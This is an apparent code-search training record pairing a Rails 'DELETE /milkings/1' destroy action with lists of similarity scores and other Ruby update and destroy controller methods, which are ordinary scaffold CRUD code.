|format|\n if @thing.update_attributes(params[:thing])\n format.html { redirect_to(@thing, :notice => 'Thing was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @thing.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @item_kit = ItemKit.find(params[:id])\n\n respond_to do |format|\n if @item_kit.update_attributes(params[:item_kit])\n format.html { redirect_to @item_kit, notice: 'Item kit was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item_kit.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @mill = Mill.find(params[:id])\n\n respond_to do |format|\n if @mill.update_attributes(params[:mill])\n format.html { redirect_to @mill, notice: 'Mill was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @boat.update(boat_params)\n head :no_content\n else\n render json: @boat.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @spiking.update(spiking_params)\n format.html { redirect_to @spiking, notice: 'Spiking was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @spiking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @kitty = Kitty.find(params[:id])\n\n respond_to do |format|\n if @kitty.update_attributes(params[:kitty])\n format.html { redirect_to @kitty, notice: 'Kitty was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @kitty.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def update\n @potluck_item = PotluckItem.find(params[:id])\n\n respond_to do |format|\n if @potluck_item.update_attributes(params[:potluck_item])\n format.html { render :action => :show }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\", status: :unprocessable_entity }\n format.json { render json: @potluck_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # respond_to do |format|\n # if @kitchen.update_attributes(post_params)\n # format.html { redirect_to @kitchen, notice: 'Kitchen was successfully updated.' }\n # format.json { head :no_content }\n # else\n # format.html { render action: 'edit' }\n # format.json { render json: @kitchen.errors, status :unprocessable_entity }\n # end\n # end\n end", "def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end", "def update\n @bike = Bike.find(params[:id])\n\n respond_to do |format|\n if @bike.update_attributes(params[:bike])\n format.html { redirect_to @bike, notice: 'Bike was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bike.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @kitchen = Kitchen.find(params[:id])\n\n respond_to do |format|\n if @kitchen.update_attributes(params[:kitchen])\n format.html { redirect_to @kitchen, notice: 'Kitchen was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @kitchen.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @kit.update(kit_params)\n format.html { redirect_to @kit, notice: 'Kit was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @kit.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @goat = Goat.find(params[:id])\n\n respond_to do |format|\n if @goat.update_attributes(params[:goat])\n format.html { redirect_to @goat, notice: 'Goat was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @goat.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n recipe.update(recipe_params)\n render json: recipe\n end", "def update\n respond_to do |format|\n if @wing.update(wing_params)\n @wing.floors.each { |f| f.touch }\n format.html { redirect_to @wing, notice: t('.update_ok', item: @wing.name) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @wing.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @clothing.update(clothing_params)\n format.html { redirect_to @clothing, notice: 'Clothing was successfully updated.' }\n format.json { render :show, status: :ok, location: @clothing }\n else\n format.html { render :edit }\n format.json { render json: @clothing.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n job = Job.find(params[:id])\n job.update_attributes(job_params)\n render json: job\n end", "def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def patch_model dataset_id, model_id, patched_model_gapi, etag = nil\n patch_with_backoff = false\n options = { skip_deserialization: true }\n if etag\n options[:header] = { \"If-Match\" => etag }\n # The patch with etag operation is considered idempotent\n patch_with_backoff = true\n end\n execute backoff: patch_with_backoff do\n json_txt = service.patch_model @project, dataset_id, model_id, patched_model_gapi, options: options\n JSON.parse json_txt, symbolize_names: true\n end\n end", "def update\n @pet = Pet.find(params[:id])\n\n respond_to do |format|\n if @pet.update_attributes(params[:pet])\n format.html { redirect_to root_path, notice: 'Pet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end", "def update # PATCH\n raise NotImplementedError\n end", "def update\n @thing = current_user.things.find(params[:id])\n\n respond_to do |format|\n if @thing.update_attributes(params[:thing])\n format.html { redirect_to @thing }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @thing.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @mile.update(mile_params)\n format.html { redirect_to @mile, notice: 'Mile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @mile.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n dream = Dream.find params[:id]\n dream.update dream_params\n render json: {dream: dream}\n end", "def update\n put :update\n end", "def update\n @precious_metal = PreciousMetal.find(params[:id])\n\n respond_to do |format|\n if @precious_metal.update_attributes(params[:precious_metal])\n format.html { redirect_to @precious_metal, :notice => 'Precious metal was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @precious_metal.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n render json: Item.update(params[\"id\"], params[\"item\"])\n end", "def update(id, attributes)\n # attributes = {name: 'chocolate and peanuts', calories: 10}\nend", "def update\n @todo = Todo.find(params[:id])\n @todo.update_attributes(params[:todo])\n render :json => @todo\n end", "def update\n @bill = Bill.find_by(uid:params[:id]).extend(Billit::BillRepresenter)\n @bill.from_json(request.body.read)\n @bill.save\n begin\n Sunspot.index!(@bill)\n rescue\n puts \"#{$!}\"\n puts \"unindexed bill: \" + @bill.uid\n end\n respond_with @bill, :represent_with => Billit::BillRepresenter\n end", "def update\n respond_to do |format|\n if @lunch.update(lunch_params)\n format.html { redirect_to @lunch, notice: 'Lunch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @lunch.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @pet = Pet.find(params[:id])\n\n respond_to do |format|\n if @pet.update_attributes(params[:pet])\n format.html { redirect_to @pet, notice: 'Pet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @monkey = Monkey.find(params[:id])\n\n respond_to do |format|\n if @monkey.update_attributes(params[:monkey])\n format.html { redirect_to @monkey, notice: 'Monkey was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @monkey.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @potluck_recipe.update(potluck_recipe_params)\n format.html { redirect_to @potluck_recipe, notice: 'Potluck recipe was successfully updated.' }\n format.json { render :show, status: :ok, location: @potluck_recipe }\n else\n format.html { render :edit }\n format.json { render json: @potluck_recipe.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bill.update_attributes(params[:bill])\n format.html { redirect_to bill_path(@bill), notice: 'Bill was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :edit }\n format.json { render json: @bill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @pot = Pot.find(params[:id])\n\n respond_to do |format|\n if @pot.update_attributes(params[:pot])\n format.html { redirect_to @pot, notice: 'Pot was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pot.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if params[:kid][:id]\n @kid = Kid.find(params[:kid][:id])\n else\n @kid = Kid.find_by_user_id_and_local_id(params[:kid][:user_id],params[:kid][:local_id])\n end\n params[:kid].delete(:user_id)\n params[:kid].delete(:id)\n if @kid.update_attributes(params[:kid])\n render json: @kid\n else\n render json: @kid.errors, status: :unprocessable_entity\n end\n end", "def update\n @bowl = Bowl.find(params[:id])\n\n respond_to do |format|\n if @bowl.update_attributes(params[:bowl])\n format.html { redirect_to(@bowl, :notice => 'Bowl was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bowl.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @lost_pet = LostPet.find(params[:id])\n\n respond_to do |format|\n if @lost_pet.update_attributes(params[:lost_pet])\n format.html { redirect_to @lost_pet, notice: 'Lost pet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lost_pet.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @shopping_mall = ShoppingMall.find(params[:id])\n\n respond_to do |format|\n if @shopping_mall.update_attributes(params[:shopping_mall])\n format.html { redirect_to @shopping_mall, notice: 'Shopping mall was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shopping_mall.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @knol.update(knol_params)\n format.html { redirect_to @knol, notice: 'Knol was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @knol.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @kb = Kb.find(params[:id])\n\n respond_to do |format|\n if @kb.update_attributes(params[:kb])\n format.html { redirect_to @kb, :notice => 'Kb was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @kb.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @gift_request = GiftRequest.find(params[:id])\n \n respond_to do |format|\n if @gift_request.update_attributes(params[:gift_request])\n format.html { redirect_to @gift_request, notice: 'Gift request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gift_request.errors.full_messages.to_sentence, status: :unprocessable_entity }\n end\n end\n end", "def update\n @bill = Bill.find(params[:id])\n\n respond_to do |format|\n if @bill.update_attributes(params[:bill])\n format.html { redirect_to @bill, notice: 'Bill was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @bill = Bill.find(params[:id])\n\n respond_to do |format|\n if @bill.update_attributes(params[:bill])\n format.html { redirect_to @bill, notice: 'Bill was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @motorbike = Motorbike.find(params[:id])\n @cart = current_cart\n\n respond_to do |format|\n if @motorbike.update_attributes(params[:motorbike])\n format.html { redirect_to @motorbike, notice: 'Motorbike was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @motorbike.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @todo = Todo.find(params[:id])\n if @todo.update_attributes(todo_params)\n render json: @todo, status: :ok\n else\n render json: @todo.errors, status: 422\n end\n end", "def update\n @rental = Rental.find_by_id params[:rental][:id]\n store = Store.find_by_location params[:rental].delete(:location)\n time = parse_time params[:rental].delete(:date), params[:rental].delete(:time)\n params[:rental][:time] = time if time\n params[:rental][:store_id] = store.try(:id)\n if @rental.nil?\n customer_id = params[:customer][:id]\n render json: { errors: [\"Customer with id #{customer_id} could not be found\"] }, status: 403\n elsif @rental.update_attributes params[:rental]\n render json: @rental\n else\n render json: { errors: @rental.errors.full_messages }, status: 422\n end\n # @new_quantities = params[:rental].delete(:quantities)\n # if @new_quantities && @rental\n # @rental.rental_bikes.destroy_all\n # build_rental_bikes(@new_quantities) if @rental\n # end\n # render json: @rental.to_json if @rental.try(:save)\n end", "def update\n @fucker = Fucker.find(params[:id])\n\n respond_to do |format|\n if @fucker.update_attributes(params[:fucker])\n format.json { head :no_content }\n else\n format.json { render json: @fucker.errors, status: :internal_server_error }\n end\n end\n end", "def update\n respond_to do |format|\n if @bowling.update(bowling_params)\n format.html { redirect_to @bowling, notice: 'Bowling was successfully updated.' }\n format.json { render :show, status: :ok, location: @bowling }\n else\n format.html { render :edit }\n format.json { render json: @bowling.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @person.seat\n render json: {errors: 'Cannot update a seated person'}, status: 422\n else\n @person.update person_params\n render json: @person\n end\n end", "def update\n @pet = Pet.find(params[:id])\n\n respond_to do |format|\n if @pet.update_attributes(params[:pet])\n format.html { redirect_to @pet, notice: 'Pet was successfully updated.' }\n format.json { render json: {\"message\" => \"Pet was successfully updated\", \"success\" => true, \"data\" => @pet}, status: :created, location: @pet }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @kontum.update(kontum_params)\n format.html { redirect_to @kontum, notice: 'Kontum was successfully updated.' }\n format.json { render :show, status: :ok, location: @kontum }\n else\n format.html { render :edit }\n format.json { render json: @kontum.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n redirect_to root_url\n\n # respond_to do |format|\n # if @fluke.update(fluke_params)\n # format.html { redirect_to @fluke, notice: 'Fluke was successfully updated.' }\n # format.json { render :show, status: :ok, location: @fluke }\n # else\n # format.html { render :edit }\n # format.json { render json: @fluke.errors, status: :unprocessable_entity }\n # end\n # end\n end", "def set_milking\n @milking = Milking.find(params[:id])\n end", "def update\n respond_to do |format|\n if @boeking.update(boeking_params)\n format.html { redirect_to @boeking, notice: 'Boeking was successfully updated.' }\n format.json { render :show, status: :ok, location: @boeking }\n else\n format.html { render :edit }\n format.json { render json: @boeking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @bidding = Bidding.find(params[:id])\n\n respond_to do |format|\n if @bidding.update_attributes(params[:bidding])\n format.html { redirect_to @bidding, notice: 'Bidding was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bidding.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @diet.update(diet_params)\n head :no_content, status: 204\n else\n render json: @diet.errors, status: 422\n end\n end", "def update\n @foil = Foil.find(params[:id])\n\n respond_to do |format|\n if @foil.update_attributes(params[:foil])\n format.html { redirect_to @foil, notice: 'Foil was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @foil.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @bookkeeping.update(bookkeeping_params)\n head :no_content\n else\n render json: @bookkeeping.errors, status: :unprocessable_entity\n end\n end", "def update\n @event_karaoke = Event::Karaoke.find(params[:id])\n\n respond_to do |format|\n if @event_karaoke.update_attributes(params[:event_karaoke])\n format.html { redirect_to @event_karaoke, notice: 'Karaoke was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event_karaoke.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @parking_spot = ParkingSpot.find(params[:id])\n\n respond_to do |format|\n if @parking_spot.update_attributes(params[:parking_spot])\n format.html { redirect_to @parking_spot, notice: 'Parking spot was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @parking_spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @grocery = Grocery.find(params[:id])\n\n if @grocery.update(grocery_params)\n head :no_content\n else\n render json: @grocery.errors, status: :unprocessable_entity\n end\n end", "def update\n @spot_listing = SpotListing.find(params[:id])\n\n respond_to do |format|\n if @spot_listing.update_attributes(params[:spot_listing])\n format.html { redirect_to @spot_listing, notice: 'Spot listing was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @spot_listing.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @kick.update(kick_params)\n format.html { redirect_to @kick, notice: \"Kick was successfully updated.\" }\n format.json { render :show, status: :ok, location: @kick }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @kick.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_milk\n @milk = Milk.find(params[:id])\n end", "def update\n @mall = Mall.find(params[:id])\n\n respond_to do |format|\n if @mall.update_attributes(params[:mall])\n format.html { redirect_to @mall, notice: 'Mall was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mall.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @pet_true.update(pet_true_params)\n format.html { redirect_to @pet_true, notice: 'Pet true was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @pet_true.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @kata.update(kata_params)\n format.html { redirect_to @kata, notice: 'Kata was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @kata.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\r\n @bill = Bill.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @bill.update_attributes(params[:bill])\r\n format.html { redirect_to @bill, only_path: true, notice: 'Bill was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @bill.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end" ]
[ "0.67619854", "0.6147035", "0.60891205", "0.59965664", "0.59591866", "0.59155726", "0.59019977", "0.5878373", "0.58765477", "0.5820535", "0.58196926", "0.5813598", "0.5774922", "0.5770615", "0.57634515", "0.57591856", "0.5758659", "0.5740703", "0.572757", "0.5716799", "0.56989604", "0.56968844", "0.5696744", "0.5696439", "0.56896925", "0.56835014", "0.5681465", "0.56681913", "0.56640077", "0.5660824", "0.5659451", "0.56586224", "0.5656467", "0.56528604", "0.5651084", "0.56447023", "0.5643998", "0.5641241", "0.56360173", "0.5624773", "0.5619214", "0.56180525", "0.5609142", "0.5606291", "0.5600458", "0.5597806", "0.5597793", "0.55850524", "0.5575676", "0.557005", "0.5567232", "0.5563847", "0.55616903", "0.5552854", "0.5552524", "0.55522233", "0.5548197", "0.55479217", "0.55459017", "0.55410725", "0.55384654", "0.55382055", "0.55288744", "0.55235386", "0.5523481", "0.5522245", "0.55179054", "0.55063134", "0.5503728", "0.5502281", "0.5493808", "0.5489982", "0.54891145", "0.54879516", "0.54879516", "0.5486222", "0.54859334", "0.5484979", "0.5484138", "0.54824543", "0.54817444", "0.54798573", "0.5478336", "0.54781145", "0.54771864", "0.547067", "0.54681855", "0.54673326", "0.5466577", "0.54632413", "0.5460924", "0.5460723", "0.5459121", "0.54568696", "0.54549176", "0.545383", "0.5448734", "0.5447969", "0.54478824", "0.5447587" ]
0.68252116
0
DELETE /milkings/1 DELETE /milkings/1.json
def destroy @milking.destroy render json: {status: "Record Deleted"} end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @milk.destroy\n respond_to do |format|\n format.html { redirect_to milks_url, notice: 'Milk was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(url)\n @deleted = true\nend", "def delete\n render json: Item.delete(params[\"id\"])\n end", "def delete(id)\n request(:delete, \"/recipes/#{id}.json\")\n end", "def delete!\n request! :delete\n end", "def delete\n request(:delete)\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def delete(url, headers = {})\n http :delete, \"#{url}.json\", headers\n end", "def delete_item(id)\n record \"/todos/delete_item/#{id}\"\n end", "def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end", "def delete endpoint\n do_request :delete, endpoint\n end", "def destroy\n @thing = Thing.find(params[:id])\n @thing.destroy\n\n respond_to do |format|\n format.html { redirect_to things_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @thing = Thing.find(params[:id])\n @thing.destroy\n\n respond_to do |format|\n format.html { redirect_to things_url }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Alien.delete(params[\"id\"])\n end", "def destroy\n @bowl = Bowl.find(params[:id])\n @bowl.destroy\n\n respond_to do |format|\n format.html { redirect_to bowls_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @serving = Serving.find(params[:id])\n @serving.destroy\n\n respond_to do |format|\n format.html { redirect_to servings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ongoing = Ongoing.find(params[:id])\n @ongoing.destroy\n\n respond_to do |format|\n format.html { redirect_to ongoings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ninja = Ninja.find(params[:id])\n @ninja.destroy\n\n respond_to do |format|\n format.html { redirect_to ninjas_url }\n format.json { head :no_content }\n end\n end", "def delete\n api_delete(\"/listings/#{@listing_id}\")\n end", "def destroy\n @kickoff = Kickoff.find(params[:id])\n @kickoff.destroy\n\n respond_to do |format|\n format.html { redirect_to kickoffs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @nudge.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def destroy\n animal = Animal.find(params[:id])\n animal.destroy\n head 204\n end", "def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end", "def delete!( opts = {} )\n http_action :delete, nil, opts\n end", "def delete\n api_client.delete(url)\n end", "def destroy\n @smoking.destroy\n respond_to do |format|\n format.html { redirect_to smokings_url, notice: 'Smoking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @motorbike = Motorbike.find(params[:id])\n @motorbike.destroy\n\n respond_to do |format|\n format.html { redirect_to motorbikes_url }\n format.json { head :no_content }\n end\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def destroy\n @goat = Goat.find(params[:id])\n @goat.destroy\n\n respond_to do |format|\n format.html { redirect_to goats_url }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Like.delete(params[\"id\"])\n end", "def destroy\n @kota_stone.destroy\n respond_to do |format|\n format.html { redirect_to kota_stones_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bidding = Bidding.find(params[:id])\n @bidding.destroy\n\n respond_to do |format|\n format.html { redirect_to biddings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @spiking.destroy\n respond_to do |format|\n format.html { redirect_to spikings_url }\n format.json { head :no_content }\n end\n end", "def delete\n start { |connection| connection.request http :Delete }\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def destroy\n @kid.destroy\n respond_to do |format|\n format.html { redirect_to kids_url }\n format.json { head :no_content }\n end\n end", "def delete\n api(\"Delete\")\n end", "def destroy\n @koti = Koti.find(params[:id])\n @koti.destroy\n\n respond_to do |format|\n format.html { redirect_to kotis_url }\n format.json { head :no_content }\n end\n end", "def delete\n \n end", "def delete\n render json: Post.delete(params[\"id\"])\n end", "def delete(id:)\n id_check(:id, id)\n\n cf_delete(path: \"/organizations/#{org_id}/railguns/#{id}\")\n end", "def destroy\n @slashdot_posting.destroy\n respond_to do |format|\n format.html { redirect_to slashdot_postings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @slow_thing.destroy\n respond_to do |format|\n format.html { redirect_to slow_things_url, notice: 'Slow thing was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @gig_request = GigRequest.find(params[:id])\n @gig_request.destroy\n\n respond_to do |format|\n format.html { redirect_to gig_requests_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bow.destroy\n respond_to do |format|\n format.html { redirect_to bows_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @unlimited.destroy\n respond_to do |format|\n format.html { redirect_to unlimiteds_url }\n format.json { head :no_content }\n end\n end", "def destroy\n rid = params['id']\n if Aws.delete_recipe(rid) && Aws.delete_all_ingredients(rid)\n msg = {:notice => \"Recipe deleted!\"}\n render :json => msg\n else\n msg = {:notice => \"Error while deleting from DynamoDB!\"}\n render :json => msg\n end\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "def destroy\n @data = @recipe.delete(params[:id])\n render json: @data\n end", "def destroy\n @thing = Thing.find(params[:id])\n @thing.destroy\n\n respond_to do |format|\n format.html { redirect_to(things_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @kitty = Kitty.find(params[:id])\n @kitty.destroy\n\n respond_to do |format|\n format.html { redirect_to kitties_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @thing = Thing.find(params[:id])\n @thing.destroy\n\n respond_to do |format|\n format.html { redirect_to(highscore_brands_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @go_slim = GoSlim.find(params[:id])\n @go_slim.destroy\n\n respond_to do |format|\n format.html { redirect_to go_slims_url }\n format.json { head :no_content }\n end\n end", "def delete(path)\n request(:delete, path)\n end", "def destroy\n @bike = Bike.find(params[:id])\n @bike.destroy\n\n respond_to do |format|\n format.html { redirect_to bikes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @mile.destroy\n respond_to do |format|\n format.html { redirect_to miles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @food = Food.find(params[:id])\n @food.destroy\n\n respond_to do |format|\n format.html { redirect_to foods_url }\n format.json { head :ok }\n end\n end", "def destroy\n @food = Food.find(params[:id])\n @food.destroy\n\n respond_to do |format|\n format.html { redirect_to foods_url }\n format.json { head :ok }\n end\n end", "def delete() #DELETE film1.delete (removes 1 film)\n sql = \"DELETE FROM films WHERE id = $1;\"\n values = [@id]\n SqlRunner.run(sql, values)\n end", "def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end", "def delete\n client.delete(url)\n @deleted = true\n end", "def delete(name)\n\n end", "def destroy\n @cow.destroy\n respond_to do |format|\n format.html { redirect_to kine_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @foil = Foil.find(params[:id])\n @foil.destroy\n\n respond_to do |format|\n format.html { redirect_to foils_url }\n format.json { head :ok }\n end\n end", "def delete(url)\n do_request(\"delete\", url)\n end", "def delete\n\n end", "def destroy\n self.auth_admin\n @hall = Hall.where(name: @item.location)\n @item.destroy\n respond_to do |format|\n format.html { redirect_to halls_path(@hall), notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n params.require(%i[id])\n beverage = Beverage.find_by!(id: params[:id])\n beverage.destroy!\n head :no_content\n end", "def delete\n render json: Company.delete(params[\"id\"])\n end", "def destroy\n @mill = Mill.find(params[:id])\n @mill.destroy\n\n respond_to do |format|\n format.html { redirect_to mills_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @kit = Kit.find(params[:id])\n @kit.destroy\n\n respond_to do |format|\n format.html { redirect_to kits_url }\n format.json { head :ok }\n end\n end", "def soccer_delete\n base_delete(params, \"Soccer\")\n end", "def deleteRequest\n\n end", "def destroy\n @kit.destroy\n respond_to do |format|\n format.html { redirect_to kits_url }\n format.json { head :no_content }\n end\n end", "def delete(url, headers={})\n RestClient.delete url, headers\n end", "def destroy\n @kitten = Kitten.find(params[:id])\n @kitten.destroy\n\n respond_to do |format|\n format.html { redirect_to kittens_url }\n format.json { head :no_content }\n end\n end", "def delete!\n Recliner.delete(uri)\n end", "def delete(*rest) end", "def delete(name)\n request(uri = uri(name), Net::HTTP::Delete.new(uri.request_uri))\n end", "def destroy\n @ingredient = Ingredient.find(params[:id])\n @ingredient.destroy\n\n respond_to do |format|\n format.html { redirect_to ingredients_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @knol.destroy\n respond_to do |format|\n format.html { redirect_to knols_url }\n format.json { head :no_content }\n end\n end", "def destroy\n render status: 200, json: @request_item.destroy\n end", "def destroy\n @duck.destroy\n\n respond_to do |format|\n format.html { redirect_to ducks_url }\n format.json { head :no_content }\n end\n end", "def delete(name); end", "def delete(name); end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def destroy\n building_id = @wing.building_id\n wing_name = @wing.name\n @wing.destroy\n respond_to do |format|\n format.html { redirect_to building_url(building_id), status: 303, notice: t('.delete_ok', item: wing_name) }\n format.json { head 